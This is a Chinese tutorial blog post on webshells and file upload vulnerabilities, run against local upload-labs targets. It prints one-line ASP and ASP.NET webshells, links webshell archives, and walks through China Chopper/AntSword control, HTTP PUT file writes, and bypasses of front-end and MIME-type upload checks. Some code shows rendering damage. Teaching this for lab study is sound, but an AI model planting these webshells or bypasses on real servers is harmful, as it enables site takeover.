054 webshell介绍与文件上传漏洞

文章目录

    • 本来想把关于大马、小马、菜刀,蚁剑,upload-labs(部分实验)等小型实验展示单独出一章节内容,后来想想还是整合在一起吧。所以说这一章节的内容会 ¥¥¥有点多¥¥¥
  • 一:漏洞概述
  • 二:漏洞成因
  • 三:漏洞危害
  • 四:webshell
  • 五:大马
  • 六:小马
  • 七:中国菜刀与蚁剑
  • 八:文件上传漏洞利用
    • 8.1:GetShell
    • 8.2:防御,绕过,利用
    • 8.3:PUT方法上传文件
    • 8.4:前端限制与绕过
      • 8.4.1:upload-labs的安装
      • 8.4.2:upload-labs第1关,方法一
      • 8.4.3:upload-labs第1关,方法二
    • 8.5:服务器端限制与绕过
      • 8.5.1:服务器端检测——MIME类型
        • 8.5.1.1:upload-labs第2关步骤
      • 8.5.2:服务器端检测——文件内容
        • 8.5.2.1 三种方法制作图片木马
        • 8.5.2.2:upload-load 第14关:步骤
      • 8.5.3:服务器端检测——后缀名
    • 8.6:00截断
      • 8.6.1:upload-labs 第十一关:步骤
    • 8.7:.htaccess攻击
      • 8.7.1:将.png文件当作php文件解析
      • 8.7.2:文件名中包含php关键字
      • 8.7.3:匹配文件名
      • 8.7.4:.htaccess攻击的应用 upload-labs第四:步骤
    • 8.8:web容器解析漏洞
      • 8.8.1:apache解析漏洞
      • 8.8.2:IIS6.0解析漏洞
      • 8.8.3:PHP CGI解析漏洞
      • 8.8.4:Nginx空字节漏洞
      • 8.8.5:Nginx文件名逻辑漏洞(CVE-2013-4745)
      • 8.8.6:常见编辑器上传
      • 8.8.7:常见的CMS上传
      • 8.8.8:南方数据管理系统(经典案例)
      • 8.8.9:metinfov5.0.4 文件上传
  • 九:文件上传漏洞的防御

本来想把关于大马、小马、菜刀,蚁剑,upload-labs(部分实验)等小型实验展示单独出一章节内容,后来想想还是整合在一起吧。所以说这一章节的内容会 ¥¥¥有点多¥¥¥

 

一:漏洞概述

文件上传是web应用的必备功能之一,比如上传头像显示个性化,上传附件共享文件,上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。
 

二:漏洞成因

1、服务器配置不当会导致任意文件上传;
2、web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;
3、程序开发部署的时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。
 

三:漏洞危害

上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本,程序等。如果web服务器所保存上传文件的科协目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。

如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。

通过上传漏洞获得的网站后门,就是webshell。
 

四:webshell

在计算机科学中,shell俗称壳(用来区别于“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows系统给的cmd.exe或者linux下的bash等,虽然这些系统上的命令解释器不止一种。

webshell是一个网站的后门,也是一个命令解释器,不过是以web方式(http协议)通信(传递命令消息),继承了web用户的权限。webshell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等。也就是说webshell接受来自于web用户的命令,然后在服务器端执行。
 

五:大马

webshell也可以是大马,也是网站木马。有一类webshell之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。以下是一个简单的例子。输入密码,密码一般直接写在木马文件中。在大马中我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。这是asp的大马。
类似界面如下:
054 webshell介绍与文件上传漏洞_第1张图片
这里有几个大马文件,仅供大家学习之用,切勿用作非法用途。牢饭虽然免费,但是不好吃呀,除非你熟读了罗翔老师的书,比如:《圆圈正义》,,,,,哈哈哈哈~~~~
054 webshell介绍与文件上传漏洞_第2张图片
好了,废话不都说,大马下载地址:下载
(访问密码:Bzb4hF)
我们以win2003为例(IP:192.168.152.129),首先我们要部署好IISweb服务,具体怎么部署,这里就不详细说了,详情请参考我之前的博客,006 IIS之web服务器与FTP服务器
为什么要部署IISweb服务呢?因为这里用的大马是asp大马,需要有网站页面。后文用到的php大马,我们就要用到phpstudy。
布置好之后,如下图所示:
054 webshell介绍与文件上传漏洞_第3张图片
在inetpub\wwwroot文件夹下创建一个dama的文件夹
054 webshell介绍与文件上传漏洞_第4张图片
把两个大马文件放到dama文件夹中,然后用真实机(前提配置好网络互通,这里我用的是NAT模式)浏览器访问192.168.152.129
054 webshell介绍与文件上传漏洞_第5张图片
这里以style.asp为例,先代码审计一波,发现style.asp的登录密码是1314。(哈哈哈,感觉是为有故事的作者)
054 webshell介绍与文件上传漏洞_第6张图片
回到真实机的浏览器上:
在这里插入图片描述
登录之后:
054 webshell介绍与文件上传漏洞_第7张图片
 
接下来是php大马:
以win2008为例:IP:192.168.152.132
首先确定正确运行了phpstudy软件,如何运行,请参照:031 基础环境搭建phpstudy
054 webshell介绍与文件上传漏洞_第8张图片
在C:\phpStudy\WWW目录下创建一个叫dama的文件夹,把nosafe.php这个文件放进去。
真实机打开浏览器输入IP地址进行访问,输入密码www.nosafe.org
054 webshell介绍与文件上传漏洞_第9张图片
 

六:小马

小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话。

ASP:
	<%eval request("cmd")%>
ASP.NET:
	<%@ Page Language="Jscript"%>
	<%eval(Request.Item["cmd"],"unsafe");%>
PHP:
	($_REQUEST['cmd']);?>

一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个上面的php的一句话木马,密码就是[cmd]。
 

七:中国菜刀与蚁剑

中国菜刀与一句话木马配合实现了三大基本功能,如下:
1、文件管理
在中国菜刀页面继承web,用户权限可以实现文件管理, 包括文件查看,上传,下载,修改,删除甚至运行exe程序等。

2、虚拟终端
在中国菜刀下可以获得类似于cmd和bash的命令行接口,可以执行相关命令。

3、数据库管理
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账号密码。以MYSQL为例,填写配置,如下:

MYSQL</T>			//数据库类型
localhost</H>		//数据库地址
root</U>				//数据库用户

</P> //数据库密码,密码为空就不写 utf8</L> //编码 此时,我们就可以执行sql语句,管理数据库了。

实验过程:
在win2008上,在www目录下创建一个webshell的文件夹,webshell里面新建一个yjh.php文件,写入如图内容。也就是一句话木马。
054 webshell介绍与文件上传漏洞_第10张图片
一句话木马一般都需要借助中国菜刀或者中国蚁剑进行联合使用。
比如:中国蚁剑:下载地址:下载 (访问密码:K276zo)
下载之后解压到真实机上。
这里可以设置语言,改成中文的
054 webshell介绍与文件上传漏洞_第11张图片
这里添加数据:
054 webshell介绍与文件上传漏洞_第12张图片
054 webshell介绍与文件上传漏洞_第13张图片
右键选择文件管理
054 webshell介绍与文件上传漏洞_第14张图片
所有东西一目了然
054 webshell介绍与文件上传漏洞_第15张图片

右键选择虚拟终端
054 webshell介绍与文件上传漏洞_第16张图片
右键选择数据操作
054 webshell介绍与文件上传漏洞_第17张图片
054 webshell介绍与文件上传漏洞_第18张图片

菜刀和蚁剑用法差不多,感觉蚁剑好一些。。。。
 

八:文件上传漏洞利用

8.1:GetShell

顾名思义,就是获取web的过程和结果。当然任意文件上传是GetShell的主要方式,但并不是唯一途径。

条件:
1、web服务器要开启文件上传功能,并且上传api(接口)对外“开放”(web用户可以访问)
2、web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,web目录都有执行权限。
3、要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在。
4、无视以上条件的情况就是服务器配置不当,开启了PUT方法。
 

8.2:防御,绕过,利用

文件上传的防御,绕过,利用总是分不开的。为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。
 

黑白名单策略
黑白名单是最常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果“客体”在黑名单上,一律“禁止”,如果“客体”在白名单上,一律“允许”。类似于手机号码的黑白名单。
如,Chrome浏览器的黑白名单策略。

策略 说明
URLBlacklist 禁止用户访问您已阻止的网站。不过,用户可以访问黑名单之外的所有网址。不设置此策略:用户将可以自由访问所有网址。
URLWhitelist 将此策略与URLBlacklist策略搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问。白名单的优先级高于黑名单。至少要在黑名单中添加一个条目,才能正常使用此策略。不设置此策略:网址黑名单将没有例外网址。

华为收集安装软件黑白名单策略

模式 说明
白名单模式,检查只能安装的软件 只允许终端主机安装软件白名单中的软件,安装其他软件属于违规行为;对于白名单中的软件,该软件属于必须安装类软件,而终端主机未安装该软件,则属于违规行为;对于白名单中的软件,该软件不属于必须安装类软件,而终端主机未安装该软件,则不属于违规行为
白+黑名单模式,检查必须安装的软件和禁止安装的软件 如果终端主机未安装白名单中的任意一款软件,则属于违规行为;如果终端主机已安装黑名单中的任意一款软件,则属于违规行为;如果终端主机已经安装白名单中的所有软件,并且没有安装黑名单中任意一款,则不属于违规行为

 

8.3:PUT方法上传文件

http请求方法之一,允许向服务器直接写入文件

1、apache如何开启put方法
测试apache是否开启了put方法
先telnet ip port(比如:telnet 192.168.152.132),然后输入命令
OPTIONS / HTTP/1.1HOST:192.168.152.132然后敲两下回车。

我们用win2008和kali做实验
win2008:192.168.152.132
kali:192.168.152.130
首先要确保win2008的telnet服务开启了。初次开启可按如下操作。

首先安装telnet服务
054 webshell介绍与文件上传漏洞_第19张图片
打开服务面板
054 webshell介绍与文件上传漏洞_第20张图片
并且要开启phpstudy软件,且成功的把www目录下的l.php重命名(这是为了防止输入ip的时候直接进入页面,此处若不设置还会影响到该实验,会把整个页面的html代码给抓取下来,不会显示到allow的信息)
054 webshell介绍与文件上传漏洞_第21张图片
054 webshell介绍与文件上传漏洞_第22张图片

再切到kali上:
054 webshell介绍与文件上传漏洞_第23张图片

2、apache开启put方法的操作

a:打开模块
C:\phpStudy\Apache\conf\httpd.conf文件,下面两行的注释给去掉,删除#
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
054 webshell介绍与文件上传漏洞_第24张图片

b:启用模块
在C:\phpStudy\Apache\conf\httpd.conf文件中,搜索
在这个标签中的最后一行添加DAV On
054 webshell介绍与文件上传漏洞_第25张图片

c:开启文件锁
DavLockDB c:\phpstudy\www\DavLock这句话放到C:\phpStudy\Apache\conf\httpd.conf文件的第一行,并在c:\phpstudy\www目录下创建一个DavLock文件,然后重启phpstudy,再telnet 172.16.132.161 80,然后输入命令OPTIONS / HTTP/1.1和HOST:172.16.132.161进行查看是否开启了put方法。发现开启了很多方法,但是没有Put,没关系,此处任然可以进行文件上传。
054 webshell介绍与文件上传漏洞_第26张图片
054 webshell介绍与文件上传漏洞_第27张图片
3、put方法上传文件
向服务器提交一个info.php文件,在根目录下提交一个info.php的文件,文件长度是18,内容是
以下内容最好是手打进去,复制粘贴可能会多了一个空格换行之类的符号,会报错400或者是其他的

PUT /info.php HTTP/1.1
HOST:192.168.152.132
Content-Length:18
										此处一定要有空行
();?>

kali源码:

kali源码:
			┌──(rootkali)-[/tmp]
			└─# telnet 192.168.152.132 80
			Trying 192.168.152.132...
			Connected to 192.168.152.132.
			Escape character is '^]'.
			PUT /info.php HTTP/1.1
			HOST:192.168.152.132
			Content-Length:18

			();?>
			HTTP/1.1 201 Created
			Date: Thu, 17 Mar 2022 13:53:56 GMT
			Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
			Location: http://192.168.152.132/info.php
			Content-Length: 181
			Content-Type: text/html; charset=ISO-8859-1

			<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
			
			201 Created<<span class="token operator">/</span>title>
			<<span class="token operator">/</span>head><body>
			<h1>Created<<span class="token operator">/</span>h1>
			<p>Resource <span class="token operator">/</span>info<span class="token punctuation">.</span>php has been created<span class="token punctuation">.</span><<span class="token operator">/</span>p>
			<<span class="token operator">/</span>body><<span class="token operator">/</span>html>
			Connection closed by foreign host<span class="token punctuation">.</span>
</code></pre> 
  <p>http 201 Created<br> 然后再win2008上,查看info.php文件。这就说明put方法能够执行,那么一旦服务开启了put方法,那是很危险的,那么我们就可以上传任意文件了。。。比如说。。。(自己脑补)<br> <a href="http://img.e-com-net.com/image/info8/d53d7af868c742c6a14ca91f7d6eea2e.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d53d7af868c742c6a14ca91f7d6eea2e.jpg" alt="054 webshell介绍与文件上传漏洞_第28张图片" width="650" height="242" style="border:1px solid black;"></a><br>  </p> 
  <h2>8.4:前端限制与绕过</h2> 
  <p>所需的靶场:upload-labs文件下载:下载 (访问密码:QJBa4w)</p> 
  <h3>8.4.1:upload-labs的安装</h3> 
  <p>下载到本地,进行解压,得到一个upload-labs-master的文件夹,然后把该文件夹重新命名为upload-labs(也可以不重命名),再把这个文件夹放到phpstudy对应的目录下,比如:C:\phpStudy\WWW\upload-labs<br> <a href="http://img.e-com-net.com/image/info8/3bb310dfca714987b9dc2cd85706763a.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/3bb310dfca714987b9dc2cd85706763a.jpg" alt="054 webshell介绍与文件上传漏洞_第29张图片" width="529" height="444" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/a2c7336950c24c71919589943135e3b6.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/a2c7336950c24c71919589943135e3b6.jpg" alt="054 webshell介绍与文件上传漏洞_第30张图片" width="650" height="522" style="border:1px solid black;"></a><br> 当你点击网页内容时,加载反应有点慢(不知道是不是自己电脑问题),要等反应完再点下一步的操作。<br>  </p> 
  <h3>8.4.2:upload-labs第1关,方法一</h3> 
  <p>有些web应用的文件上传功能,仅在前端用JS脚本做了检测,如检测文件后缀名等。</p> 
  <p>我们准备一个文件叫做info.php,该文件内容是<code><?php phpinfo();?></code><br> <a href="http://img.e-com-net.com/image/info8/b78bc49a729341708e9b4b8955a43afc.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b78bc49a729341708e9b4b8955a43afc.jpg" alt="054 webshell介绍与文件上传漏洞_第31张图片" width="650" height="448" style="border:1px solid black;"></a><br> 按F12审查元素,选中上传按钮所在的form表单,发现该表单有个event事件<br> <a href="http://img.e-com-net.com/image/info8/d06d9ee189124d7ca43f3be72b7d3a1d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d06d9ee189124d7ca43f3be72b7d3a1d.jpg" alt="054 webshell介绍与文件上传漏洞_第32张图片" width="650" height="406" style="border:1px solid black;"></a><br> 查看event,发现有人checkfile选择文件<br> <a href="http://img.e-com-net.com/image/info8/2c55dd986892406ab78764afd83a7792.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/2c55dd986892406ab78764afd83a7792.jpg" alt="054 webshell介绍与文件上传漏洞_第33张图片" width="650" height="236" style="border:1px solid black;"></a><br> 然后搜索checkFile<br> <a href="http://img.e-com-net.com/image/info8/b4a59c861c264cfabfb12df99fbcc455.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b4a59c861c264cfabfb12df99fbcc455.jpg" alt="054 webshell介绍与文件上传漏洞_第34张图片" width="650" height="248" style="border:1px solid black;"></a><br> upload-labs第一关,上述的关键代码如下:</p> 
  <pre><code class="prism language-php"><span class="token operator"><</span>script type<span class="token operator">=</span><span class="token string double-quoted-string">"text/javascript"</span><span class="token operator">></span>
	<span class="token keyword">function</span> <span class="token function">checkFile</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
		<span class="token keyword">var</span> file <span class="token operator">=</span> document<span class="token operator">.</span><span class="token function">getElementsByName</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">.</span>value<span class="token punctuation">;</span>
		<span class="token keyword">if</span> <span class="token punctuation">(</span>file <span class="token operator">==</span> <span class="token keyword type-declaration">null</span> <span class="token operator">||</span> <span class="token class-name">file</span> <span class="token operator">==</span> <span class="token string double-quoted-string">""</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
			<span class="token function">alert</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"请选择要上传的文件"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
			<span class="token keyword">return</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span>
		<span class="token punctuation">}</span>
		<span class="token comment">// 定义允许上传的文件类型</span>
		<span class="token keyword">var</span> allow_ext <span class="token operator">=</span> <span class="token string double-quoted-string">".jpg|.png|.gif"</span><span class="token punctuation">;</span>
		<span class="token comment">// 提取上传文件的类型</span>
		<span class="token keyword">var</span> ext_name <span class="token operator">=</span> file<span class="token operator">.</span><span class="token function">substring</span><span class="token punctuation">(</span>file<span class="token operator">.</span><span class="token function">lastIndexOf</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		<span class="token comment">// 判断上传文件类型是否允许上传</span>
		<span class="token keyword">if</span><span class="token punctuation">(</span>allow_ext<span class="token operator">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span>ext_name<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
			<span class="token keyword">var</span> errMsg <span class="token operator">=</span> <span class="token string double-quoted-string">"该文件不允许上传,请上传"</span> <span class="token operator">+</span> allow_ext <span class="token operator">+</span> <span class="token string double-quoted-string">"类型的文件,当前文件类型为:"</span> <span class="token operator">+</span> ext_name<span class="token punctuation">;</span>
			<span class="token function">alert</span><span class="token punctuation">(</span>errMsg<span class="token punctuation">)</span><span class="token punctuation">;</span>
			<span class="token keyword">return</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span>
		<span class="token punctuation">}</span>
	<span class="token punctuation">}</span>
<span class="token operator"><</span><span class="token operator">/</span>script<span class="token operator">></span>
分析上述js代码可知:采用白名单策略,检测文件后缀名。配合表单事件使用。

</code></pre> 
  <p>既然是配合表单事件使用,那我们只要让这个表单不生效即可。<br> <a href="http://img.e-com-net.com/image/info8/d82573434a8f4fb9bda1ac53a25c2dd1.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d82573434a8f4fb9bda1ac53a25c2dd1.jpg" alt="054 webshell介绍与文件上传漏洞_第35张图片" width="650" height="288" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/07703478d3c2422cb3ce657996f548a0.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/07703478d3c2422cb3ce657996f548a0.png" alt="在这里插入图片描述" width="517" height="97"></a><br> 然后再点击上传,发现上传成功。<br> <a href="http://img.e-com-net.com/image/info8/81d4800434e34a65b2e99ef5280fd209.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/81d4800434e34a65b2e99ef5280fd209.jpg" alt="054 webshell介绍与文件上传漏洞_第36张图片" width="650" height="676" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/73c21b73db7e4ce7beb6a7834a8edb37.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/73c21b73db7e4ce7beb6a7834a8edb37.jpg" alt="054 webshell介绍与文件上传漏洞_第37张图片" width="650" height="272" style="border:1px solid black;"></a><br> 回到win2008查看文件<br> <a href="http://img.e-com-net.com/image/info8/1f15faab43ab4f58863656c43c55c9f9.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/1f15faab43ab4f58863656c43c55c9f9.png" alt="054 webshell介绍与文件上传漏洞_第38张图片" width="483" height="168" style="border:1px solid black;"></a><br> 前端JS脚本检测的安全防御是十分薄弱的,可以非常轻松的绕过。上述方法就是利用JS脚本的运行环境浏览器,我们可以通过修改JS代码,甚至删除表单事件来完成绕过。<br>  </p> 
  <h3>8.4.3:upload-labs第1关,方法二</h3> 
  <p>使恶意文件后缀名符合白名单策略,用BURP挂代理抓包,然后修改文件后缀名即可。<br> 这里我们要用到火狐浏览器一个插件,添加一个代理插件。添加成功之后,右上角会有图标显示。<br> <a href="http://img.e-com-net.com/image/info8/04771ca234c74c82b19a2f31135d3911.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/04771ca234c74c82b19a2f31135d3911.jpg" alt="054 webshell介绍与文件上传漏洞_第39张图片" width="650" height="212" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/e011e5fd754d49b3bd6e109497eb9db2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/e011e5fd754d49b3bd6e109497eb9db2.jpg" alt="054 webshell介绍与文件上传漏洞_第40张图片" width="650" height="330" style="border:1px solid black;"></a><br> 保存退出之后,然后选择BP这一行<br> <a href="http://img.e-com-net.com/image/info8/cc6f4d11158740049a63b25668aeac80.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/cc6f4d11158740049a63b25668aeac80.jpg" alt="054 webshell介绍与文件上传漏洞_第41张图片" width="435" height="306" style="border:1px solid black;"></a><br> 然后开启burpsuite软件,(安装与使用的方法参考我以前的博客:047 Burp Suite的详细安装与使用)<br> 重新进入upload-labs pass01,点击上传按钮的时候,会提示只能上传.jpg,.png,.gif文件类型。<br> 所以我们把info.php文件名改为info.png。<br> <a href="http://img.e-com-net.com/image/info8/d42bde7c938647849658d24e75309ee1.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d42bde7c938647849658d24e75309ee1.jpg" alt="054 webshell介绍与文件上传漏洞_第42张图片" width="650" height="589" style="border:1px solid black;"></a><br> 点击上传按钮,查看bp的抓包。内容如下:<br> <img src="http://img.e-com-net.com/image/info8/f233b4fb2c54440ba6031ee9fd31e52c.jpg" alt="在这里插入图片描述" width="0" height="0"><br> 然后我们修改抓到的包的数据:如下图<br> <a href="http://img.e-com-net.com/image/info8/ef5f911fc57d4ba3a81bb7a993e002bc.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/ef5f911fc57d4ba3a81bb7a993e002bc.jpg" alt="054 webshell介绍与文件上传漏洞_第43张图片" width="650" height="687" style="border:1px solid black;"></a><br> 然后点击 放包 按钮,然后点击拦截请求,放掉这个包。<br> 回到浏览器,发现上传成功。<br> <a href="http://img.e-com-net.com/image/info8/cd8caf2e15c34603b71d11d59cb2786c.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/cd8caf2e15c34603b71d11d59cb2786c.jpg" alt="054 webshell介绍与文件上传漏洞_第44张图片" width="650" height="621" style="border:1px solid black;"></a></p> 
  <p> </p> 
  <h2>8.5:服务器端限制与绕过</h2> 
  <p>对于文件上传,只从WEB前端进行检测显然防护不够,那么服务器检测就特别重要了。一般服务器端检测,采用白名单策略,检测如下内容。</p> 
  <h3>8.5.1:服务器端检测——MIME类型</h3> 
  <p>MIME(Multipurpose Internet Mail Extension)是描述消息内容类型的因特网标准。MIME消息能够包含文本、图像、音频、视频以及其他应用程序专用的数据。</p> 
  <p>常见的MIME类型如下:</p> 
  <table> 
   <thead> 
    <tr> 
     <th>文件扩展名</th> 
     <th>Mime-Type</th> 
    </tr> 
   </thead> 
   <tbody> 
    <tr> 
     <td>.js</td> 
     <td>application/x-javascript</td> 
    </tr> 
    <tr> 
     <td>.html</td> 
     <td>text/html</td> 
    </tr> 
    <tr> 
     <td>.jpg</td> 
     <td>image/jpeg</td> 
    </tr> 
    <tr> 
     <td>.png</td> 
     <td>image/png</td> 
    </tr> 
    <tr> 
     <td>.pdf</td> 
     <td>application/pdf</td> 
    </tr> 
    <tr> 
     <td>*</td> 
     <td>application/octet-stream</td> 
    </tr> 
   </tbody> 
  </table> 
  <p>更多mime对照:https://www.cnblogs.com/xiaohi/p/6550133.html<br> 在http协议中,使用Content-Type字段表示文件的MIME类型。当我们上传文件的时候,抓到HTTP数据包。<br> <a href="http://img.e-com-net.com/image/info8/fd1238d85e034acd86a76c70d65ad812.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/fd1238d85e034acd86a76c70d65ad812.jpg" alt="054 webshell介绍与文件上传漏洞_第45张图片" width="320" height="244" style="border:1px solid black;"></a><br> 在服务器端会检测Content-Type类型,upload-labs第二关,关键代码如下:</p> 
  <pre><code class="prism language-php"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'submit'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
	<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">file_exists</span><span class="token punctuation">(</span><span class="token variable">$UPLOAD_ADDR</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
		<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'type'</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string single-quoted-string">'image/jpeg'</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token punctuation">(</span><span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'type'</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string single-quoted-string">'image/png'</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token punctuation">(</span><span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'type'</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string single-quoted-string">'image/gif'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
			<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">move_uploaded_file</span><span class="token punctuation">(</span><span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token variable">$UPLOAD_ADDR</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'/'</span> <span class="token operator">.</span> <span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
				<span class="token variable">$img_path</span> <span class="token operator">=</span> <span class="token variable">$UPLOAD_ADDR</span> <span class="token operator">.</span> <span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
				<span class="token variable">$is_upload</span> <span class="token operator">=</span> <span class="token constant boolean">true</span><span class="token punctuation">;</span>
			<span class="token punctuation">}</span>
		<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
			<span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'文件类型不正确,请重新上传!'</span><span class="token punctuation">;</span>
		<span class="token punctuation">}</span>
	<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
		<span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token variable">$UPLOAD_ADDR</span><span class="token operator">.</span><span class="token string single-quoted-string">'文件夹不存在,请手工创建!'</span><span class="token punctuation">;</span>
	<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
由于服务器在检测Content<span class="token operator">-</span>Type类型的时候,取得的变量来自于用户,
所以可以用<span class="token constant">BURP</span>抓包,修改这个字段,使其合法,既可绕过限制上传任意文件。

</code></pre> 
  <h4>8.5.1.1:upload-labs第2关步骤</h4> 
  <p>上传一个info.php文件,先不进行BP抓包<br> <a href="http://img.e-com-net.com/image/info8/f7ef3905ed36448c84d1f0cb7b0d1225.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f7ef3905ed36448c84d1f0cb7b0d1225.jpg" alt="054 webshell介绍与文件上传漏洞_第46张图片" width="617" height="531" style="border:1px solid black;"></a></p> 
  <p>上传一个info.php文件,并进行BP抓包<br> <a href="http://img.e-com-net.com/image/info8/1709703879b34bc9baca6832fb700d85.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/1709703879b34bc9baca6832fb700d85.jpg" alt="054 webshell介绍与文件上传漏洞_第47张图片" width="650" height="357" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/e17db708e23e47108cbecb4a5b25c6c2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/e17db708e23e47108cbecb4a5b25c6c2.jpg" alt="054 webshell介绍与文件上传漏洞_第48张图片" width="650" height="404" style="border:1px solid black;"></a><br> 修改content-type的值,改为image/png,然后点击 放包,再点击 拦截请求,发现上传成功。</p> 
  <p><a href="http://img.e-com-net.com/image/info8/f7beb0dae7834409ae32edd93e96c5d5.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f7beb0dae7834409ae32edd93e96c5d5.jpg" alt="054 webshell介绍与文件上传漏洞_第49张图片" width="650" height="498" style="border:1px solid black;"></a></p> 
  <p> </p> 
